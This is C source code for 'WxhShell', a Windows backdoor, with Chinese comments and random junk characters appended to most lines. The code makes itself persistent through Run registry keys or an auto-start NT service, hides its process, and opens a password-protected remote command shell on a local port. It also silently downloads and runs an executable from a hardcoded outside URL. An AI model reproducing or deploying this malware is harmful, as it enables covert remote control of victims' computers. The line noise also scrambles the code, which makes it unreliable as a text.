PROCNTQSIP NtQueryInformationProcess; 3a{QkVeV7
hP,1;`[1
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,h]N*Z-I"
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :7Vm]xd}do
4:<0i0)5
HANDLE hProcess; 9~,eu
PROCESS_BASIC_INFORMATION pbi; oUw-l_ M]
SQ5*?u\
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }
2)s%
if(NULL == hInst ) return 0; D2!ww{t
LTtfOcrt
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -r-`T
s
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \lR~!6:
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =WEfo;
=-`+4zB\
if (!NtQueryInformationProcess) return 0; 2%W(^Lj
s !8]CV>
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nfDPM\FFD
if(!hProcess) return 0; CsSB'+&{
4kg9R^0
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jgbw'BBu
JpDYB
CloseHandle(hProcess); 5Cy)#Z{
VY _(0
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hkU#
lt
if(hProcess==NULL) return 0; \0 WMb
m;
ABHq#
HMODULE hMod; S|]~,l2]}
char procName[255]; Gs?W7}<$
unsigned long cbNeeded; 9$DVG/
Zc9
n0t[
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "-xC59,
:{66WSa@Dd
CloseHandle(hProcess); o3WkbMJWM
Z^fF^3x
if(strstr(procName,"services")) return 1; // 以服务启动 ~hvhT}lE
:za!!^
return 0; // 注册表启动 {J0^S
} c>UITM=!I
2CxdNj
// 主模块 ?|hzAF"U
int StartWxhshell(LPSTR lpCmdLine) e#'`I^8l
{ KFV]2mFN
SOCKET wsl; wqGZkFg1
BOOL val=TRUE; 2tr2:PB`
int port=0; pb{P[-f
struct sockaddr_in door; 5e2mEQU>
[
objdQU`
if(wscfg.ws_autoins) Install(); ^5T{x>Lj
e;6Sj
port=atoi(lpCmdLine); ;JmD(T7{
huTJ
a2
if(port<=0) port=wscfg.ws_port; <aHK{*'3
Xj-3C[8@
WSADATA data; \:=Phbn
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Sej$x)Q\t
;OKQP~^iH2
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ,Xh4(Gn#b
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d=5D 9'+
door.sin_family = AF_INET; Zh(f2urKV
door.sin_addr.s_addr = inet_addr("127.0.0.1"); kDv)g
door.sin_port = htons(port); hsE!3[[
}]s~L9_z['
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *TXq/
3g
closesocket(wsl); R*[ACpxr
return 1; Zka;}UL&Q
} g]ihwm~
,5\n%J:
if(listen(wsl,2) == INVALID_SOCKET) { gEe}xI
closesocket(wsl); ~0}eNz*
return 1; 'qM3.U
} q(r2\
Wxhshell(wsl); p5H Mg\hT
WSACleanup(); *"4<&F
S
Rxli;blzi
return 0; U=yD!
uo{QF5z]
} =az$WRV+7!
aFSZYyPxwv
// 以NT服务方式启动 ,f1wN{P
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q.|2/6hD7[
{ {'ZnxK'
DWORD status = 0; |-|BM'Y
DWORD specificError = 0xfffffff; A|&EI-In
VC+\RB#:-
serviceStatus.dwServiceType = SERVICE_WIN32; _xC~44
serviceStatus.dwCurrentState = SERVICE_START_PENDING; -12v/an]L7
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1=D!C lcb
serviceStatus.dwWin32ExitCode = 0; lR(&Wc\j
serviceStatus.dwServiceSpecificExitCode = 0; 67g/(4 &
serviceStatus.dwCheckPoint = 0; qQ_B[?+W
serviceStatus.dwWaitHint = 0; iBi/9
L9kP8&&KK
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )} #r"!
if (hServiceStatusHandle==0) return; LH_ 2oJ\
CeJ|z{F\
status = GetLastError(); A:!{+
if (status!=NO_ERROR) >r*Zm2($MR
{ j;y|Ys)I
serviceStatus.dwCurrentState = SERVICE_STOPPED; c1<g!Q&E
serviceStatus.dwCheckPoint = 0; 7/1S5yUr|
serviceStatus.dwWaitHint = 0; ?~K2&eo
serviceStatus.dwWin32ExitCode = status; P:=ADW c
serviceStatus.dwServiceSpecificExitCode = specificError; B';Ob
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'I~dJEW7
return; %q Q(@TG
} 4mAtYm
%G@aZWk
Sa
serviceStatus.dwCurrentState = SERVICE_RUNNING; _SaK]7}m!
serviceStatus.dwCheckPoint = 0; a9I8WQ
serviceStatus.dwWaitHint = 0; meL'toaJdQ
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "+WR[-n>\
} !eq]V9
^
UzF
nW@a
// 处理NT服务事件,比如:启动、停止 w-"&;klV
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4
5lg&oO
{ 9VByFQgM
switch(fdwControl) :1=?/8h
{ CQ`(,F3(
case SERVICE_CONTROL_STOP: J53;w:O
serviceStatus.dwWin32ExitCode = 0; ~V&ReW/
serviceStatus.dwCurrentState = SERVICE_STOPPED; 'YG`/@n;
serviceStatus.dwCheckPoint = 0; ^\?9W
serviceStatus.dwWaitHint = 0; -^5R51
{ >guQY I@4,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ah92<'ix
} yU.0'r5uR
return; F"=MU8
case SERVICE_CONTROL_PAUSE: ,54<U~Lg:
serviceStatus.dwCurrentState = SERVICE_PAUSED; Wg%-m%7O
break; uS'ji
k}
case SERVICE_CONTROL_CONTINUE: %)D7Dr
serviceStatus.dwCurrentState = SERVICE_RUNNING; fUL"fMoU
break; f3>/6C
case SERVICE_CONTROL_INTERROGATE: ,2`d3u^CW
break; {5udol5?
}; jveRiW@
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @\y7
9FX
} +XE21hb
6!nb)auVi
// 标准应用程序主函数 D'h2 DP!
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3$8}%?i
{ [1C#[Vla
f#~Re:7.c
// 获取操作系统版本 ge[i&,.&z
OsIsNt=GetOsVer(); ?5Fj]Bk]
GetModuleFileName(NULL,ExeFile,MAX_PATH); ["}A#cO652
Cf7\>U->
// 从命令行安装 x\rZoF.NQ
if(strpbrk(lpCmdLine,"iI")) Install(); [f0HUbPX
~^S-
// 下载执行文件 |DW'RopM
if(wscfg.ws_downexe) { ]S L&x:/-
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 76b7-Nj"
WinExec(wscfg.ws_filenam,SW_HIDE); 1Tq$ E[
} )9r%% #
1Q5<6*QL"
if(!OsIsNt) { dx}/#jMa
// 如果时win9x,隐藏进程并且设置为注册表启动 IJ8DN@w9
HideProc(); :RsPGj6
StartWxhshell(lpCmdLine); ~@8d[Tb
} Yg[IEy
else S nHAY<
if(StartFromService()) l5[xJH
// 以服务方式启动 ".%LBs~$
StartServiceCtrlDispatcher(DispatchTable); !r*;R\!n2
else
x]oQl^F
// 普通方式启动 Q*.FUV&;
StartWxhshell(lpCmdLine); /aG>we
`5Btg.
&
return 0; (weokP!
} F9\Ot^~
GZEonCk[&
(J&Xo.<Z-
mM*yv
=========================================== _,FoXf7
~8(X@~Tn*
nY9qYFw
j9}0jC2Tb
\bic.0-
Wp}9%Mq~Jy
" \`&pk-uW
wW8
6rB
#include <stdio.h> rfRo*u2"
#include <string.h> N[bN"'U/1
#include <windows.h> =h::VB}Lv
#include <winsock2.h> &ZN'Ey?
#include <winsvc.h> 0:'jU
#include <urlmon.h> /K) b0QX
yZp:hs#
#pragma comment (lib, "Ws2_32.lib") VaSNFl1_M
#pragma comment (lib, "urlmon.lib") oks=|'&
Qz+d[%Q}x
#define MAX_USER 100 // 最大客户端连接数 jF{gDK
#define BUF_SOCK 200 // sock buffer &&1Y"dFs
#define KEY_BUFF 255 // 输入 buffer -]\E}Ti
df6Ν4L
#define REBOOT 0 // 重启 xzl4v=7
#define SHUTDOWN 1 // 关机 I~LQ1_
MLBg_<
#define DEF_PORT 5000 // 监听端口 P0 ltN
z<6P3x|
#define REG_LEN 16 // 注册表键长度 ^HFU@/
#define SVC_LEN 80 // NT服务名长度 8TZA T%4
9c{%m4
// 从dll定义API `A'I/Hf5
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v^W?o}W
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); IIQ3|eZ
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u rXb!e{l
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fslk7RlSKg
NzAtdcwR
// wxhshell配置信息 mK40 f
struct WSCFG { NB5L{Gf6-
int ws_port; // 监听端口 OF<n T
char ws_passstr[REG_LEN]; // 口令 @MZ6E$I
int ws_autoins; // 安装标记, 1=yes 0=no 62)lf2$1
char ws_regname[REG_LEN]; // 注册表键名 QP5:M!O<)
char ws_svcname[REG_LEN]; // 服务名 xrVZxK:!
char ws_svcdisp[SVC_LEN]; // 服务显示名 S~rVRC"<xo
char ws_svcdesc[SVC_LEN]; // 服务描述信息 aC yb-P
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .;Utkf'I
int ws_downexe; // 下载执行标记, 1=yes 0=no p
(xD/E
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V> a3V'
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {<}I9D5
CDW(qq-zD
}; vQYfoam;
qa$[L@h>
// default Wxhshell configuration nUud?F^_
struct WSCFG wscfg={DEF_PORT, jaO#><f
"xuhuanlingzhe", _c9
WWp?
1, \e:FmG
"Wxhshell", r,.95@
"Wxhshell", J;=aIiN]R
"WxhShell Service", av;
(b3Lq
"Wrsky Windows CmdShell Service", M,\|V3s
"Please Input Your Password: ", )/WA)fWkT
1, _UBJPb@=U
"http://www.wrsky.com/wxhshell.exe", s/G5wRl<
"Wxhshell.exe" {`K]sa7`
}; [wy3Ld
Z|:_c
// 消息定义模块 <S8I"8{Mb
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &Qq/Xi,bZ
char *msg_ws_prompt="\n\r? for help\n\r#>"; +wz`_i)!
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $: 4mOl
char *msg_ws_ext="\n\rExit."; W-C0YU1
char *msg_ws_end="\n\rQuit."; [2QY
char *msg_ws_boot="\n\rReboot..."; N}+B:l]Qy
char *msg_ws_poff="\n\rShutdown..."; K*Nb_|~
char *msg_ws_down="\n\rSave to "; >|_gT%]5
y13CR2t6
char *msg_ws_err="\n\rErr!"; D)*_{
char *msg_ws_ok="\n\rOK!"; F`;TU"pDf
g~Nij~/
char ExeFile[MAX_PATH]; 1FD7~S|
int nUser = 0; ^C:{z)"h
HANDLE handles[MAX_USER]; 5gc:Y`7t
int OsIsNt; ]O[+c*|w
Q_dXRBv=n
SERVICE_STATUS serviceStatus; 9!O+Ryy?\
SERVICE_STATUS_HANDLE hServiceStatusHandle;
KF:]4`$
lk*0c{_L
// 函数声明 {m+S{dWp
int Install(void); "]SJbuzh
int Uninstall(void); f
$.\o
int DownloadFile(char *sURL, SOCKET wsh); Gh$y#0qr
int Boot(int flag); [L*[j.r7[
void HideProc(void); %qNj{<&
int GetOsVer(void); 5&n988gC8
int Wxhshell(SOCKET wsl); NWQPOq#
void TalkWithClient(void *cs); p-T~x$"c|
int CmdShell(SOCKET sock); m0BG9~p|
int StartFromService(void); %/tGkS6
int StartWxhshell(LPSTR lpCmdLine); w>z8c3Dq}
x;ERRK
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $vg moJ@X0
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5S|}:~7T
(b`4&sQ<
// 数据结构和表定义 (5Z8zNH`3
SERVICE_TABLE_ENTRY DispatchTable[] = 8g#
c%eZ
{ c6?c>*z
{wscfg.ws_svcname, NTServiceMain}, F;d%@E_Bc
{NULL, NULL} .`p<hA)%[C
}; CzzUi]*Ac{
w|
-0@
// 自我安装 lnS\5J
int Install(void) Eo7 _v
{ oN&rq6eN
char svExeFile[MAX_PATH]; o7c%\v[
HKEY key; @H3 s2|
strcpy(svExeFile,ExeFile); }{#;;5KrB
ONr?.MJ6j
// 如果是win9x系统,修改注册表设为自启动 :>tF_6
if(!OsIsNt) { S|{Yvyp
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {UX"Epd);n
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (1kn):
RegCloseKey(key); 'uP'P#
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (opROsFh
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .KiPNTh'
RegCloseKey(key); B%%.@[o,
return 0; <?>I\
} ny!lja5[
} SQdzEF
} z`86-Ov
else {
w2uRN?
;S=62_Un
// 如果是NT以上系统,安装为系统服务 m{:" 1]
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (!3Yc:~RE
if (schSCManager!=0) {~j /XB
{ `G"|MM>P
SC_HANDLE schService = CreateService 2p$n*|T&c
( \yJZvhUk
schSCManager, Vr&el
wscfg.ws_svcname, "fX_gN?
wscfg.ws_svcdisp, vKU]80T
SERVICE_ALL_ACCESS, dp"<KcP_
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]97Xu_
SERVICE_AUTO_START, .iOw0z
SERVICE_ERROR_NORMAL, i63`B+L{
svExeFile, 9_J!s
NULL, N<L$gw+)$D
NULL, c*S#UD+
NULL, bGGeg%7
NULL, 4B:\
NULL &57qjA,8<
); sowbg<D
if (schService!=0) `!Ua ScM
{ vO}qjw
CloseServiceHandle(schService); Ap
F*a$),
CloseServiceHandle(schSCManager); *ajFZI
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !7:EE,W~
strcat(svExeFile,wscfg.ws_svcname); ~&wXXVK3
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E@5zd@[
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o
:.~X
RegCloseKey(key); [5]R?bQ0q{
return 0; FX7Cjo#=R
} S_(&UeTC
} |QnUK5D$
CloseServiceHandle(schSCManager); Qv&T E3
} ax-=n (
} ^;V}l?J_s
gZw\*9Q9
return 1; SjZd0H0
} T$gkq>!j<E
KW&nDu